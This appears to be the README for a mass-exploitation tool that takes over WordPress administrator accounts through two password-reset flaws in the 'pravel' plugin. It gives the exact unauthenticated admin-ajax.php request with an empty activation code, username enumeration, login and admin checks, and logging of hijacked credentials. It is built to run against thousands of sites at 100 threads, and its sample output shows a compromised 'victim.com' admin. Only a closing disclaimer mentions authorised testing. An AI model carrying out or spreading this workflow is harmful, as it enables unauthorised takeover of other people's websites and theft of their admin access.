
Nicht authentifizierte Kontoübernahme durch schwache Passwort-Reset-Validierung über den Parameter 'reset_user_id' | Nicht authentifizierte Privilegienerweiterung durch schwache Passwort-Reset-Validierung über 'reset_activation_code', die zur Kontoübernahme führt
Nicht authentifizierte Kontoübernahme durch schwache Validierung der Passwort-Zurücksetzung über den Parameter 'reset_user_id' | Nicht authentifizierte Privilegienerweiterung durch schwache Validierung der Passwort-Zurücksetzung über 'reset_activation_code', die zur Kontoübernahme führt
Von: Khaled Alenazi (Nxploited)
Nicht authentifizierte Privilegienerweiterung durch schwache Validierung der Passwort-Zurücksetzung
| Feld | Wert |
|---|---|
| CVSS | 9.8 Kritisch |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Veröffentlicht | 23. Juni 2026 |
| Forscher | Alyudin Nafiie |
Die Funktion pravel_change_password() ist als wp_ajax_nopriv-Handler registriert – also ohne Authentifizierung erreichbar. Sie führt weder eine Nonce-Prüfung noch eine Berechtigungsüberprüfung durch. Der einzige Schutz ist ein lockerer Gleichheitsvergleich zwischen dem vom Angreifer gelieferten reset_activation_code und dem forgot_email-Meta-Wert des Benutzers. Bei jedem Benutzer, der noch nie eine Passwort-Zurücksetzung ausgelöst hat, gibt get_user_meta() eine leere Zeichenkette zurück, was mit einem weggelassenen oder leeren Code trivial '' == '' erfüllt. Ein nicht authentifizierter Angreifer kann daher ein präpariertes POST an admin-ajax.php senden, mit action=pravel_change_password, reset_user_id gesetzt auf eine beliebige Benutzer-ID (einschließlich Administrator-Konten) und new_password_custom gesetzt auf ein beliebiges Passwort – was eine vollständige Kontoübernahme ermöglicht.
Nicht authentifizierte Kontoübernahme durch schwache Validierung der Passwort-Zurücksetzung
| Feld | Wert |
|---|---|
| CVSS | 9.8 Kritisch |
| Vektor | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Veröffentlicht | 23. Juni 2026 |
| Forscher | Alyudin Nafiie |
Die Funktion pravel_invoice_change_password() ist ebenfalls als nopriv-AJAX-Handler ohne Nonce und ohne Autorisierungsprüfung verfügbar. Derselbe '' == ''-Bypass greift auch hier: Die Übergabe eines leeren reset_activation_code an einen Administrator, der den Ablauf zum Zurücksetzen vergessener Passwörter nie genutzt hat, ermöglicht ein sofortiges Zurücksetzen des Passworts. Der Angreifer kontrolliert das Ziel über reset_user_id und die neuen Zugangsdaten über new_password_custom.
For each target site:
1. AJAX Probe (fast path — IDs 1 and 2)
POST /wp-admin/admin-ajax.php
action=pravel_change_password (CVE-2026-12417)
action=pravel_invoice_change_password (CVE-2026-12416)
reset_user_id=<id>
new_password_custom=<fixed_password>
reset_activation_code= ← empty — bypasses the check
Response on success:
{"activation":true,"message":"Password has been changed successfully"}
2. Username Resolution (lazy — only runs after confirmed reset)
a. GET /wp-json/wp/v2/users/<id> ← exact username for the reset ID
b. "admin" ← always tried second
c. GET /wp-json/wp/v2/users ← REST API bulk list
d. /?author=1..3 redirect ← author archive scan
3. Login Verification
POST /wp-login.php
log=<username> pwd=<password>
Check for wordpress_logged_in cookie.
4. Admin Confirmation
GET /wp-admin/users.php
Requires list_users capability — administrators only.
Any deny message or login redirect → not admin, skip.
5. On Confirmed Admin
Save to scan_results/pravel_admin_success.txt:
SITE | LOGIN URL | user | pass | exploit | id
Print result line to terminal.
6. Extended Sweep (if IDs 1–2 both fail)
Repeat steps 1–5 for user IDs 3 through 20.
Terminal:
[1/5000] https://target.com NO
[2/5000] https://victim.com ADMIN=admin pass=Nxploited@123KSa exploit=pravel_change_password id=1 | https://victim.com/wp-login.php
[3/5000] https://another.com NO
Ergebnisdatei (scan_results/pravel_admin_success.txt):
[2026-06-24 16:00:00] SITE=https://victim.com | LOGIN=https://victim.com/wp-login.php | user=admin | pass=Nxploited@123KSa | exploit=pravel_change_password | id=1
python Cl.py
Targets file (one URL per line) [targets.txt]: sites.txt
Threads (concurrent sites) [50]: 100
Voraussetzungen:
pip install requests rich colorama urllib3
Dieses Tool ist ausschließlich für autorisierte Sicherheitsforschung und Penetrationstests bestimmt.
Die Verwendung gegen Systeme, die du nicht besitzt oder für die du keine ausdrückliche schriftliche Testgenehmigung hast, ist illegal.
Der Autor übernimmt keinerlei Haftung für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Alle CVE-Details stammen aus öffentlichen Schwachstellen-Datenbanken.
Von: Khaled Alenazi (Nxploited)